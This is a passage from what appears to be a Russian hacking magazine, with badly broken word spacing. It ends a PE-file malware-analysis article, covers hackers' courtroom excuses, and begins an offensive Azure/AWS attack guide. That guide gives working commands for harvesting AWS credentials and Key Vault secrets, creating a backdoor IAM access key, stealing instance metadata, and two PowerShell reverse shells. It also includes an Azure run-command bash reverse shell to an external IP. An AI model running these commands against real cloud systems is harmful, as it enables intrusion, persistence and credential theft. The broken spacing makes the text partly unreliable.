time.gmtime(time_stamp)))
При анал изе врем енн ой мет ки ком пиляции под подоз рени ем долж ны быть:
• нед авн яя дата комп иляции прог раммы (или нереа льн ые ее зна чения, нап‐
ример еще не наст упив шая дата);
• нес ов падение даты ком пиляции и верс ии ком пилятор а (сог ласись, стран‐
но видеть дату ком пиляции, нап ример, 20 июня 2005 года для экзешник а,
откомпил иро ванн ого Visual Studio 19 вер сии);
• знач ение даты комп иляции рав но нулю (велика веро ятность, что соз датель
прогр аммы это сде лал намеренн о, соот ветс твенн о возн ика ет вопр ос —
зачем);
• для фай лов, которые по всем приз накам откомпи лиров аны в Delphi, дата
не соот ветст ву ет знач ению 0x2a425e19, а дата, полученн ая из секц ии .
rsrc, рав на нулю или мень ше, чем дата в PE‐заголов ке;
• дат а ком пиляции из заголовк а ана лизи руемо го файл а не совп ада ет
с датой, ука зан ной в Debug Directory (весьм а вероя тно, что эти знач ения
были зачем‐то скорр екти рова ны).
INFO
У некотор ых комп онен тов Windows поле Time‐
DateStamp в PE‐заголовк е может иметь инте‐
ресн ые зна чения — либо из будущег о (к при меру,
у меня для «Блокн ота» это 8 сен тября 2028 года),
либо из прош лого (встреч аютс я ком понент ы,
датиров ан ные 1980 годом).
Анализ ресурсов исполняемого файла
Рес урс ы, необх одимые для работы exe‐фай ла (такие как икон ки, диалог овые
окна, меню, изобр ажения, информац ия о вер сии, кон фигурац ион ные дан‐
ные), хран ят ся в сек ции .rsrc. Просм отреть можн о при помощи все того же
CFF Explorer.
Со держ имое секц ии .rsrc в CFF Explorer
Но все же для просм отра ресурс ов в PE‐файл ах лучш е использ овать Re‐
source Hacker.
Просм отр информац ии о верс ии прогр аммы в секц ии ресур сов Resource
Hacker
Пос коль ку в сек ции ресур сов могут хра нит ся любые дан ные, туда могут быть
помеще ны либо вред онос ная наг рузка, либо драйв ер (нап ример, перех‐
ватыва ющий сис темные фун кции), либо еще что‐нибудь не очень хорошее.
Поэто му сто ит приз адум атьс я, если найд ешь здесь что‐то совс ем не похожее
на икон ки, карт инки, диало ги, окна, информа цию о верс ии и про чие безобид‐
ные вещи.
Rich-сигнатура
В статье я не упо мянул такую при меча тель ную структ уру PE‐файл а, как Rich‐
сиг натура. На нее тоже стои т обра тить вним ание при ана лизе подоз ритель‐
ных фай лов. Почитать о ней на англий ском мож но здесь:
• Rich Headers: Leveraging this Mysterious Artifact of the PE Format (PDF)
• Microsoft's Rich Signature (NTCore)
Так же я написал скрипт на Python для прос мотра Rich‐сиг натуры.
ЗАКЛЮЧЕНИЕ
С помощью неск ольк их относ ительн о прост ых инс тру мент ов мы можем быс‐
тро про ана лизир овать подозр итель ный исполняе мый файл, час тично (а иной
раз и дост аточ но пол но) понять, что он собой пред став ляет, и вынес ти вер‐
дикт о возм ожной вред оносн ости. Одна ко при анал изе слож ных фай лов, под‐
вер гнут ых упа ковк е, шифр ованию и обфускац ии, это го может оказ ать ся
недост аточн о. Тогд а без более деталь ного стат ичес кого и динами ческ ого
ана лиза не обой тись. Об этом мы и поговор им в след ующий раз.
WWW
•Все исходни ки на Python, при веденн ые
в статье;
•YaraEditor и YaraGui — прогр аммы, которые
упрощ ают работу с Yara;
•Утил иты для подс че та кон троль ных сумм: Hash‐
MyFiles, Hash Calculator, Hash Calc.
ВЗЛОМ
Виталий Евсиков
[email protected]
Я НЕ
СПЕЦИАЛЬНО
КАКИЕ ОТМАЗКИ ХАКЕРОВ
МОГУТ СРАБОТАТЬ В СУДЕ
Да же если хакера съели, у него оста нет ся как минимум два
выхода. А вот если хакера задерж али суровые люди
в погонах, выходов может оказ ать ся мень ше. Обычн о
в подоб ных слу чаях совету ют нанять толк ового адвок ата
и надея ть ся на лучш ее, а еще в ожи дании раз вязки мож но
оза ботить ся прид умы вани ем пары‐тройк и надеж ных отма‐
зок. Какие из них могут сраб отать, а какие лучш е вооб ще
не пус кать в ход, мы сегод ня и обсуд им.
INFO
Есл и тебе интер ес на темати ка про тивост ояния
кибер прес тупник ов и пра воох раните лей,
рекомен дуем ознак омитьс я с прошл ой статье й,
в которой рас ска зыва лось, как в Росс ии судят
кибер злод еев и наск ольк о строг а наша судебн ая
сис тема к ним.
В зарубежн ых фильм ах судеб ный про цесс пред ставл яет собой поле бит вы,
где на гла зах публ ики красн оречив ый адво кат сра жает ся с неп реклон ным
государс твенн ым обви ните лем, а за всем этим свы сока набл юда ет судья.
На деле же судеб ный проц есс скуч ен и одно обра зен. В больш инст ве случ аев
все сво дит ся к зачиты ванию пос танов ления суда. Сост язатель ность
условная, и это неуди вительн о — отве ты на все вопр осы получен ы еще на
этап е следс твия, а судьи, отлично под кованн ые в вопр осах юрисп ру денц ии,
в компью терн ых техн ологи ях понима ют куда мень ше и потому плох о раз лича‐
ют понятия ransomware, bruteforce и пент ест. Ины ми слов ами, в сво их
решени ях они час то опи рают ся на закл ючения след ова телей.
По этой прич ине сос тязание и борьб а перено сят ся на этап следс твия.
Именн о там фор миру ется доказа тель ная база, которая будет потом предъ‐
явле на в качес тве обви нения. И как раз на этом этап е обвин яемые в совер‐
шении компь ютер ных прес тупле ний пыта ются всем и спо собам и оправдать
себя и выс тро ить защиту, про являя иног да завид ную фант азию и сме кал ку.
ПОПУЛЯРНЫЕ ОТМАЗКИ
«Я не знал, что ПО вредоносное»
С появ ления в Уго ловн ом кодек се РФ статьи 273 «Созд ание, исполь зование
и рас простран ение вред онос ных компью тер ных прогр амм» спор ы и дис‐
куссии о том, что же все‐таки может быть приз нано вре доносн ым ПО, не ути‐
хают ни на минуту. Остав им демагог ию юрис там и обра тимс я к прак тике.
Осн овани ем для приз нания ПО вред онос ным выст упа ет зак лючение
экспер та. За посл едние годы «вред онос ным» приз нано боль шое количес тво
прогр амм и ути лит. Сре ди них ScanSSH, Intercepter‐NG, NLBrute, UBrute, RDP
Brute, sqlmap, Netsparker, SQLi Dumper, Router Scan, Private Keeper, Havij,
Metasploit, Armitage, DUBrute, Lamescan, Fast RDP Brute, njRAT, Acunetix. В эту
же кучу экспер ты част о свал иваю т фишин говые стра ницы, актив ато ры, кей‐
гены, пат чи и бан ковс кие троя ны.
По мимо явной мал вари, в списк е при сутст вую т легальн ые инст ру мент ы
для пент еста: напр имер, Acunetix и Netsparker, при числ ять которые к вре‐
доносн ым не совс ем корр ект но. Не мень ше воп росов вызывае т включ ение
в этот спис ок sqlmap, Metasploit и Armitage, которые вход ят в сос тав Kali Linux.
Посл е это го остал ось тольк о зап ретить саму опер аци онную сис тему.
Дел о в том, что однозначн о сказ ать, являе тся ли ПО вре доносн ым, невоз‐
можно. Опре деле ние вре доносн ости дает ся вся кий раз в зависим ос ти
от обсто ятельс тв при менен ия это го ПО. Прос той прим ер: исполь зование
Acunetix Web Vulnerability Scanner 8 для выявл ения уязв имост ей спец иалис‐
тами комп ании на прин адл ежащем ей ресур се не обра зует сос тава прес‐
тупле ния. А вот использ ование это го же ПО кибер злод еем для взло ма чужого
сер вера дела ет его вре доносн ым. Такая прав овая кол лизия.
В общем, заявл ение о том, что подоз рева емый не имел ни малейш его
пред ставл ения о вред оносн ости свой ств использ уемых им прогр амм, впеч ат‐
ления на след ова телей и суд не прои зво дят. И смягч ению наказан ия тоже
не спо собст ву ют.
«Мой компьютер взломали, атаки совершал не я!»
Неп лохая попыт ка уйти от ответст венн ости. На компь юте ре был раз решен
уда ленн ый дост уп по RDP, неизв ест ный киберз лод ей подобр ал логин
и пароль и тво рил тем ные дела, пока наст оящий поль зователь даже не подоз‐
ревал об этом.
Опр оверг ают ся подобн ые заяв ления след ующим образ ом: пров одит ся
судеб ная экспер тиза, в результ ате которой уста нав ливае тся, был ли открыт
к компь ютер у дост уп по RDP, ког да к нему подк лю чались, при сутст вую т ли
в логах приз наки брут форса.
Так же ана лизи руют ся истор ия и врем ен ные фай лы брау зе ров. Прис утс‐
твие в хист ори зап росов «как уда ленн о взло мать учет ную запись?», «ска чать
NLBrute» и подобн ых вряд ли сыгр ают на руку обви няемо му. Эксперт иза так‐
же уста новит наличие вре доносн ого ПО, вре мя его запус ка, наличие зашиф‐
рован ных файл ов‐кон тейн еров, использ уемые на компью те ре средст ва ано‐
ними зации и так далее.
В доверш ение всег о оце нива ют спо собн ости и навыки обвин яемог о,
исхо дя из его образ ова ния, работы и инте ресов. Све дения, под тверждаю щие
наличие у него зна ний в сфе ре IT, будут исполь зованы для подт вержде ния
выдв инуто го обвин ения.
Здесь след ует уточ нить. Одног о лишь фак та, что обви няемый работае т
сист емным админ ист ра тором и инте ресу ется пен тестом, будет явно недос‐
таточ но, что бы осуд ить ни в чем не повин ного человек а, поэтом у все
перечисл енное выше рас смат ривае тся в совокупн ости.
«Это не мой IP»
По доб ные утверж ден ия легк о опров ер гнуть: запр осить у про вай дера, кому
прин адл ежит IP‐адрес, с которо го велись компью терн ые атак и. И неваж но,
исполь зовал ся ста тическ ий или динамич еск ий IP‐адрес, — в соот ветс твии
с законом Яро вой информа цию о выделен ном тебе IP‐адре се пров айд ер
хра нит пол года. Дост аточ но врем ени, что бы собр ать необ ходимые доказа‐
тель ства.
«Я ведь ничего не взломал, просто проверил, как это работает»
Так отмаз ыва ются скрипт‐кидд и: «Ска чал прогр амму, устан овил, нажал start,
а дальш е все само как‐то получил ось…» И ведь они могут быть вполн е
искрен ни. Толь ко тол ку от этог о ноль. Сам по себе факт использ ования вре‐
донос ного ПО уже незако нен и влеч ет за собой угол овн ое наказа ние. А если
целью атак и «случ айн о» ока зал ся ресурс, отнес ен ный к категор ии «Объе кты
кри тичес кой информац ион ной инфраструкт уры РФ», то и наказан ие за такое
деяние будет стро же, вплоть до лишения своб оды на срок от двух до пяти лет.
«Я только материал предоставлял»
Хищ ени ем денег с бан ков ских сче тов занимае тся груп па лиц, роли в которой
заранее расп ред еле ны. Помимо кодеров, крип торов, траф еров и залив‐
щиков, которые непоср едс твенн о вза имод ейс тву ют с малв арью, туда такж е
вхо дят дро пово ды и обнальщ ики. Их обяз ан ности огра ничи вают ся поис ком
дро пов, работой с ними и перевод ом денеж ных средств на пре дос тавленн ые
банк ов ские рек визиты.
Предс тав перед судом, эти ребята пыта ются доказать, что их работа зак‐
лючалась толь ко в поис ке людей и перевод е денег. Ни о каких прест упных
схем ах и вре доносн ом ПО они не слыш али.
Так ие заявл ения легк о опров ерг ают ся результ атами опер атив но‐разыс‐
кных мероп риятий и следст вен ными дей ствия ми. Опраш ива ют сви дете лей,
анал изир уют телефонн ые перего воры, перепис ку с дру гими участ ник ами
прест упной груп пы, подн имаю т бан ков ские транз акции и проч ее. Как пра‐
вило, совокуп ность всех этих све дений позв оля ет доказать, что обви няемый
знал, каким образ ом получен ы день ги и для чего нужн ы были банк овс кие кар‐
ты дро пов.
По мимо все го про чего, эти злод еи наказы вают ся еще и по статье 273 УК
РФ («Использ ование вред онос ного ПО»). И пусть они не занимал ись непос‐
редс твен ным запуск ом и устан овк ой мал вари. Следс твию дост аточ но
доказать, что деньг и похища лись орга низо ван ной груп пой лиц. Участ ие в ней
авто матич еск и влеч ет наказа ние и по этой статье УК.
К похожим спо собам защиты приб егаю т и обвин яемые во взло мах бан‐
коматов с помощью мал вари, такой как Cutlet Maker. Они лег ко сог лаша ются
с обвин ения ми в краж е денег, но никак не могут понять, о каком вре доносн ом
ПО идет речь. При этом обви няемые ссыл ают ся на отсутст вие у них спе‐
циальн ых позн аний в информа ционн ых тех нологи ях. Это в оче редн ой раз
под твержда ет, что в наше вре мя «кибер прес тупник ом» может стать обыч ный
вор с дрелью, флеш кой и USB‐шнур ом в руках.
«Я выполнял приказы ФСБ»
Ру ково дитель хакерс кой груп пы Lurk навер няка был не перв ым, кто приб егн ул
к подобн ому оправдан ию сво ей деятельн ос ти. Но имен но его заяв ление
получил о широкую огласку. Напомн ю тебе, как было дело.
Об виняе мый в краж е 1,7 мил лиард а рубл ей и ата ках на кри тичес кую
инфраструк туру РФ Конс тан тин Козл овс кий заявил, что соверш ал прес тупле‐
ния с подачи сот рудни ков ФСБ. Чтоб ы при дать еще боль шую знач имость
этим сло вам, он взял на себя ответс твен ность за взлом серв еров Демок‐
ратическ ой парт ии США и элек трон ной почт ы Хил лари Клин тон в 2016 году.
Суд скепт ическ и отнесся к подобн ому заявл ению. Минюст США так же никог‐
да не заявл ял о при част ност и Коз ловс ког о к этим компь ютер ным ата кам.
Суд ебн ый про цесс над учас тник ами групп ы Lurk прод ол жает ся, и, воз‐
можно, нас ждут еще более сен сацио нные и откров енн ые заявл ения их
руково дите ля.
ЧТО ПОМОГАЕТ
Активная помощь раскрытию преступления, явка с повинной,
особый порядок
В подавл яющем больш инст ве уго лов ных дел кибер прест упник и приб егаю т
к подоб ным спо собам смягч ения наказа ния, если у следс твия дост аточн о
доказат ель ств их вины. Это и неуди вительн о — если у полиции на руках твой
жес ткий диск с кол лекци ей мал вари, базой для бру та и получен ными валид‐
ными учет ными запися ми, отпир атьс я было бы стран но. Можн о, конеч но, при‐
бегн уть к спо собам из перв ой част и статьи, но есть шанс испортить все окон‐
чательн о.
Компенсация нанесенного материального ущерба и морального
вреда
За все нуж но плат ить, и чаще все го в денеж ном экви вален те. Ком пенси‐
ровать материа ль ный ущерб луч ше еще на эта пе следс твия, тогд а суд зачт ет
это как смяг чающее обсто ятель ство.
Есл и пой мать удае тся тольк о одно го из учас тни ков прес тупной груп пы, то
отдув атьс я он будет за всех собс твен ными средс твам и. Так час то быва ет
при задер жании дро повод ов, обнальщ иков и друг их низ коквал ифи циров ан‐
ных кибер зло деев.
Принесение извинений пострадавшей стороне
Здесь все прос то: прав ила хороше го тона при ветс тву ются судом. При нес ти
извин ения мож но в любом виде — личн о, по поч те, публ ично. Главн ое —
не забыть зафик сировать это.
Ходатайство коллектива
По ложит ель ная харак терист ика и ходатайс тво рабоче го кол лекти ва час то
помогаю т IT‐спе циалист ам, которые совер шают киберп рест упле ния, когд а
изу чают осно вы киберб езопасн ости и пент еста.
Лекция о недопустимости противоправной деятельности
От носитель но новый спос об смягч ения наказан ия, который положит ель но
рас смат рива ется на суде. К нему час то приб ега ют скрипт‐кид ди, слу чай но
атак овав шие государс твенн ый ресурс. Лекц ии пров одят ся в унив ерс итетах,
шко лах или по мес ту работы. Счи тает ся, что это помогае т дру гим начина‐
ющим хакерам не встать на сколь зкий путь прес тупнос ти.
«По Ru не работал»
На про тяжен ии дол гих лет сле дован ие этом у прин ципу поз воляло кибер зло‐
деям избе гать наказан ия за соверш енные прест упле ния. В посл еднее врем я
кар тина меня ется. Стал и появ лятьс я прим еры, когд а перед судом пред стаю т
кибер мошен ники и прест упни ки, взла мывавш ие компь юте ры иност ран ных
граж дан и орга низа ций и похищав шие деньг и.
Тем не менее вымога телю из Вологодс кой области собл юдение это го
прав ила помогл о избеж ать сурово го наказан ия. За зашифр овку око‐
ло 2000 зарубежн ых компью тер ов и получе ние в качест ве выкупа око ло
четырех мил лионов руб лей ему назн ачили семь месяцев лишения своб оды
условно, с испы тательн ым сро ком в один год и штра фом в 100 тысяч рубл ей.
Ана логичн ые дей ствия в отнош ении рос сий ских польз овате лей навер няка
прив ели бы к более суровом у наказан ию.
«Из любви к Родине»
Так ими сло вами объя снил прич ины киберп рес тупле ния актив ист пар тии
«Еди ная Росс ия» из города Сочи. Дело было в далеком 2011 году. Испы тывая
лич ную непр иязнь к лицам, выражав шим недовольс тво резуль татами выборов
депутат ов Госд умы, он заб локиро вал телефо ны чле нов избир ательн ых комис‐
сий и сто ронн иков оппо зиции с помощью флу деров SkypePhoneKiller, SkypeX,
Rings Skyper, Mobile Attacker, SIP Unlock. Такж е он устро ил DDoS‐атак и
на мес тные новос тные сайт ы.
Акт ивист получил нак аза ние в виде огран иче ния сво боды, но тут же в зале
суда был амнистир ован и освоб ожд ен от наз наченн ого наказан ия и судимос‐
ти в соот ветст вии с пост ановл ение м депута тов Гос думы.
ВЫВОДЫ
В попыт ках уйти от наказа ния за соверш енные прест уплен ия кибер зло деи
приб егаю т к самым раз ным спос обам. Некотор ые звуч ат весь ма циничн о,
абсур дно и глуп о. Результ ат ока зывае тся законом ерен.
Иног да обвин яемые даже не догадыв ались о том, что совер шали опасн ые
деяния. Начитавш ись в дар кве бе ману алов, как взло мать удал ен ные ресурс ы,
эти энтуз иас ты смел о брос ают ся в бой, не задумы ваясь о пос ледст вия х. Воз‐
можно, государс тву сто ило бы про водить прос ветитель скую работу сре ди
этой катего рии поль зовател ей, что бы пред ос теречь их от неверн ых шагов.
И делать это было бы здо рово не тольк о в школ ах, уни вер ситетах и на сайт е
«Лиги безопас ного интерне та».
А вот заявл ения о лояль нос ти и любв и к нашей стра не могут помочь избе‐
жать сурово го наказан ия или знач ительн о умень шить его. Глав ное — сдел ать
это искренн е. Сто ит отмет ить, что Угол ов ный кодекс не огра ничив ает спи сок
обсто ятельс тв, смяг чающих наказа ние.
Но лучш ий спо соб его избеж ать — не соверш ать прес туплен ий. И тог да
точ но не прид ет ся фан тазиро вать на тему «Как это получи лось?» или зна‐
комитьс я с тон костям и росс ий ской судебн ой сист емы.
ВЗЛОМ
АТАКА
НА ОБЛАКА
ГАЙД ПО МЕТОДАМ
ВЗЛОМА ПРИЛОЖЕНИЙ
В AZURE И AWS
Artur Bagiryan
Penetration Tester | Red Team‐
er | Active Directory Security |
Cloud Security
[email protected]
Пе ренос IT‐инфраструк туры в облак а — это не дань моде:
такой подх од позв оляе т экон омить на тех ничес кой подд ер‐
жке, резерв ном копиров ании и адми нист ри рова нии. К тому
же разм ещение инфраструк туры в обла ке счит аетс я более
защищенн ым и от сбо ев, и от внешн их атак. Но есть
и эффектив ные методы взлом а наибо лее популярн ых гиб‐
ридно‐облачных сред, таких как Azure и AWS. Об этих тех‐
никах и атак ах я рас ска жу даль ше.
WARNING
Опис ания тех ник и атак в этой статье прив еден ы
исключ итель но в образ ова тель ных целях. Автор
и редакц ия не несут ответст венн ости за воз‐
можные пос ледст вия использ ования информа ции
из этой статьи.
Для наг лядност и давай пред ста вим прим ер атак уемой инфраструк туры
в виде сле дующей диаг раммы.
Прим ер гиб ридно‐облачной инфраструк туры
Как вид но из диаг раммы, орга низа ция исполь зует серв еры и сер висы раз ных
облачных про вай деров, а такж е имее т ряд сер веров on‐premises. Серв еры
и сер висы взаи мо дейс тву ют меж ду собой, так как это необ ходимо для пол‐
ноцен ной работос пособн ости биз неса. Пред положим, что злоу мышл енник
получил уда ленн ый дос туп к скомп ро мети рован ному сер веру on‐premises.
Вот неск ольк о воз можных сцен ари ев даль нейше го раз вития ата ки.
ВНУТРЕННЯЯ РАЗВЕДКА НА ИСПОЛЬЗОВАНИЕ ОБЛАЧНЫХ
СЕРВИСОВ
Имея дос туп к линукс‐сер веру on‐premises, желательн о оста ватьс я незаме‐
ченн ым как мож но дольш е. С этой целью мож но использ овать сер висы, дей‐
ствия и зап росы которых рас смат рива ются в сис теме как разр ешен ные.
На такую роль как нель зя лучш е подх одят прикл адные утил иты для удал енн ой
работы с облачной инфраструк турой.
Так же сто ит обра тить вни мание на любые дру гие след ы того, что сер вер
вза имо дей ству ет с облак ами. К прим еру, мож но проа на лизи ровать command
history, запущенн ые про цесс ы, уста новл енные пакеты и про чее.
Сбор данных с помощью утилиты Az
Azure CLI — это набор команд для соз дания ресур сов Azure и управле ния
ими. Azure CLI дос тупен в раз личных служб ах Azure и пред назна чен для быс‐
трой работы с ними. Для вход а в про филь Azure по умолч анию использ ует ся
команд а az login.
Вход в про филь Azure с помощью коман ды az login
Как ока залось, в нашем слу чае линукс‐сер вер име ет дос туп к инфраструк туре
Azure. Какую полез ную информац ию из этог о мож но извлечь? Для начала
с помощью коман ды az account list получим перечень под писок авто‐
ризир ованн ого поль зовател я.
По луче ние перечн я подп исок
C помощью дирек тивы az account show ‐‐query "id" можн о получить ID
учет ной записи. А коман да
az resource list ‐‐query "[?type=='Microsoft.KeyVault/vaults']"
позв оляе т узнать дан ные о Key Vault. Key Vault — это служ ба, которая помога‐
ет хран ить клю чи в аппар ат ных модулях безопас ности (HSM), зашиф ровывая
клю чи и неболь шие секр етные данн ые, напр имер пароли. Оче видн о, что Key
Vault дол жен быть пра вильн о наст ро ен, ина че может про изойт и неч то подоб‐
ное тому, что показан о на скрин шоте ниже.
Вот почему важн о прав иль но нас тро ить Key Vault
А вот еще нес коль ко команд, поз воля ющих выудить из Azure нужн ые взлом‐
щику све дения:
• az resource show id /subscriptions/… | grep E en
ablePurgeProtection|enableSoftDelete — про верить, мож но ли
восс та новить Key Vault;
• az keyvault secret list vaultname name query [*].[{
"name":attributes.name},{"enabled":attributes.enabled},{
"expires":attributes.expires}] — про верить, когд а сек ретный
ключ Key Vault истек ает;
• az keyvault secret list vaultname KeyVaultdatasecure
query '[].id' — получить URL для Key Vault;
• az keyvault secret show id — получить данн ые, хра нящи еся
в Key Vault;
• az network nsg list query [*].[name,securityRules] —
получить данн ые о полити ке безопас ности для сети Azure.
Рез ульт ат работы коман ды az keyvault secret show ‐‐id
С помощью прив еденн ых выше команд мож но увид еть детали наст рое к
политик безопас ности для сети, к при меру назв ание полити ки, групп ы, кон‐
фигурац ии. Обра ти вни мание на теги access, destinationPortRange, pro‐
tocol и direction. Они показыв ают, что на серв ере разр ешены внешн ие
под клю чения. Уста новк а уда лен ного дос тупа к C&C знач ительн о облегча ет
задачу ата кующем у и повыша ет шанс ы остатьс я незаме чен ным.
По ряду приз наков мож но опред елить, что на сер вере раз решены под‐
клю чения извне
Сбор данных с помощью утилиты AWS
AWS CLI — это еди ный инс трум ент для управле ния сер висами AWS. Заг ружа‐
ешь всег о одно средст во — и можешь конт рол иров ать мно жес тво серв исов
AWS из коман дной стро ки и авто мати зиров ать их с помощью скрипт ов.
Есл и ути лита AWS уста новл ена на ском про мети рован ной машине, можн о
про верить, скон фигури рован ли AWS‐про филь. Конф игурац ионн ые дан ные
к AWS на компь юте рах под управле нием Linux хран ят ся в файл е ~/.aws/cre‐
dentials, а в Windows — в C:\Users\USERNAME\.aws\credentials. Этот
файл может содерж ать данн ые к учет ной записи AWS (access key ID, secret
access key и session token). Получен ную таким образ ом учет ную запить можн о
исполь зовать для удал ен ного дос тупа в будущем.
Из влеч ение данн ых о кон фигура ции AWS CLI
С помощью сле дующих команд AWS CLI мы получим важн ую информа цию
о раз вернут ой в сети облачной инфраструк туре:
• aws sts getcalleridentity — получить дан ные об исполь зуемой
учет ной записи;
• aws iam listusers — перечис лить всех IAM‐польз овател ей;
• aws s3 ls — перечис лить все дост упные AWS S3;
• aws lambda list functions — перечис лить все lambda‐фун кции;
• aws lambda getfunction functionname [function_name] —
соб рать допол нитель ную информац ию по lambda‐перемен ным, локации
и так далее;
• aws ec2 describeinstances — перечисл ить все дос тупные вир‐
туальн ые машины;
• aws deploy listapplications — перечис лить все дос тупные
веб‐сер висы;
• aws rds describedbinstances — показать все дост упные базы
дан ных RDS.
С помощью одной коман ды мы можем получить данн ые о дос тупных
RDS‐базах
Сущ ест ву ют и друг ие методы сбо ра информа ции на скомп ром ети рованн ой
сист еме. К при меру, можн о восп ольз оватьс я команд ой history и пос‐
мотреть, какие коман ды выпол нялись за пос леднее вре мя на этой машине.
РАСШИРЕНИЕ ПРАВ И ГОРИЗОНТАЛЬНОЕ ПЕРЕМЕЩЕНИЕ
AWS
Что бы закр епить ся в сис теме, можн о созд ать учет ную запись с сек ретны ми
клю чами и име нем iamadmin, которая будет выпол нять фун кцию бэкд ора
для атак ующег о. Для это го восп ольз уем ся коман дой
aws iam create‐access‐key ‐‐user‐name iamadmin
Соз даем учет ную запись для зак реплен ия в сист еме
С помощью команд SSH можн о под клю читьс я к удал ен ному AWS bucket.
Под клю чение к AWS bucket с исполь зование м SSH
По лучае тся, что боковы ми дви жени ями мы заполуч или дос туп к инфраструк‐
туре AWS. При экс плу атац ии SSH желательн о всегд а пров ерять след ующие
дирек тории и фай лы:
• .ssh/authorized_keys — содерж ит под пись пуб личных клю чей
для любых авто ризо ван ных клие нтов;
• .ssh/id_rsa — содерж ит прив ат ные клю чи для клие нтов;
• .ssh/id_rsa.pub — содерж ит публ ичные клю чи для кли ента;
• .ssh/known_hosts — содер жит спи сок подп исей хост ов.
Azure
Итак, нам уда лось найт и данн ые для учет ных записей и собр ать дос таточн о
информац ии, что бы понять, что в инфраструкт уре Azure при сутст ву ет нес‐
коль ко вир туальн ых машин и сер висов. Вирт уаль ные машины в Azure очень
похожи на обыч ные машины, которые работа ют в вирт уаль ной сре де,
и потому подд ержив ают станд ар тный набор команд. Запус тим Nmap
на одной из вирт уальн ых машин AWS.
nmap ‐sS ‐sV ‐v ‐Pn ‐p‐ <IP‐адрес>
Зап уск аем Nmap на вирт уаль ной машине
Вид но, что на удал ен ной вир туаль ной машине работа ет Apache на 80‐м пор‐
те. Как пра вило, наст рой ки дос тупа в сре де Azure уста навл иваю тся
с помощью пра вил Azure network group. Так что нуж но быть вним ательн ым
и не забывать менять тест овые наст рой ки. Как оказ алось, мы име ем дело
с веб‐при ложен ием для тест ирован ия стат уса машин в облак е. Не буду
углублятьс я в подр обност и тест ирован ия веб‐при ложен ия, а прост о при веду
прим ер, как уязв имость в веб‐при ложе нии может пред ос тавить дос туп к уда‐
лен ной вирт уальн ой машине в Azure.
Для перебор а учет ных дан ных использ овал ся DirBuster, который при вел
меня на стран ицу с форм ой логина адми нис тра тора. Выяс нилось, что при‐
ложен ие уязв имо к перечис лению польз овател ей и брут форсу пароля. Сбру‐
тить пароль мож но с использ овани ем Burp Suite.
Фор ма логина админ ис тра тора веб‐прил оже ния
При ложен ие ока залось уяз вимым к запус ку коман ды на уда ленн ом компью те‐
ре.
За пуск коман ды на уда лен ном компь юте ре
Видн о, что это машина под управле нием Windows, на которой мож но поп‐
робовать взять шелл. Для начала нужн о запус тить слу шате ля на машине ата‐
кующе го. В качес тве прим ера будет использ ован netcat: выпол ним команд у
nc ‐lvp 9090, которая запуск ает слуш ате ля на порт е 9090 и перево дит его
в режим ожид ания уда лен ного TCP‐соеди нения.
Можн о использ овать при веден ный ниже PowerShell reverse shell либо заг‐
рузить на машину свой собс твенн ый шелл, так как этот может быть обнар ужен
антив ирус ами и EDP‐сис темами. Вот два прим ера шелл а PowerShell, которые
мож но использ овать на удал ен ной машине.
Первый шелл
powershell 127.0.0.1&powershell ‐nop ‐c "$client = New‐Object System.
Net.Sockets.TCPClient('IP,9090);$stream = $client.GetStream();[byte[]
]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.
Length)) ‐ne 0){;$data = (New‐Object ‐TypeName System.Text.
ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |
Out‐String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.
Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Второй шелл
$client = New‐Object System.Net.Sockets.TCPClient("IP",9090);$stream
= $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) ‐ne 0){;$data = (New‐Object
‐TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out‐String );$sendback2 = $sendback +
"PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).
GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};$client.Close()
Как толь ко мы получим шелл, мож но прис тупить к пос тэкс плуа тац ии и даль‐
нейшим горизон таль ным перемещ ени ям.
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
АТАКА НА ОБЛАКА
ГАЙД ПО МЕТОДАМ ВЗЛОМА ПРИЛОЖЕНИЙ
В AZURE И AWS
Сила Azure Run — берем шелл
Од на из наибо лее интер ес ных возм ожност ей Azure — это run command, фун‐
кция, которая поз воляе т удал енн о выпол нять коман ды без дос тупа через SSH
или RDP. Run command мож но использ овать в связк е с az group list —
коман дой, перечис ляющей групп ы на ата куемой машине.
az group list — перечисл им груп пы
Для перечис ления вирт уаль ных машин в групп е использ ует ся команд а az vm
list ‐g GROUP‐NAME.
Пер ечис ляем все VM в груп пе
Нам удал ось найт и линук совую вир туал ку, которую мож но поп робовать про‐
экс плуа ти ровать. Запуст им на ней коман ду с помощью сле дующей про цеду‐
ры:
az vm run‐command invoke ‐g GROUP‐NAME ‐n VM‐NAME ‐‐command‐id
RunShellScript ‐‐scripts "id"
За пуск аем команд у на уда ленн ой VM
С исполь зовани ем вот такой коман ды мы можем взять шелл
на линукс‐машине:
az vm run‐command invoke ‐g bapawsazureresourcegroup2 ‐n test‐vm1
‐‐command‐id RunShellScript ‐‐scripts "bash ‐c \"bash ‐i >& /dev/tcp/
54.243.157.47/9090 0>&1\"
В принц ипе, все то же самое может быть про делан о для машины на базе Win‐
dows. К прим еру, можн о использ овать команд у
az vm run‐command invoke ‐g GROUP‐NAME ‐n VM‐NAME ‐‐command‐id
RunPowerShellScript ‐‐scripts "whoami"
МАНИПУЛЯЦИИ НА ЦЕЛЕВОЙ МАШИНЕ И ПОСТЭКСПЛУАТАЦИЯ
AZURE
Кража метаданных с виртуальной машины Azure
Так как у нас уже имее тся дос туп к одной из вир туаль ных машин в Azure, мож‐
но попр обовать извлечь метаданн ые. Для это го использ уем сле дующую
команд у:
curl ‐UseBasicParsing ‐Headers @{"Metadata"="true"} 'http://169.254.
169.254/metadata/instance?api‐version=2017‐08‐01&format=text'
Изв ле каем метадан ные с машины Azure
Про верим пуб личный IP‐адрес узла:
curl ‐UseBasicParsing ‐Headers @{"Metadata"="true"} 'http://169.254.
169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/
publicIpAddress?api‐version=2017‐08‐01&format=text'
Про верк а публ ично го IP‐адрес а
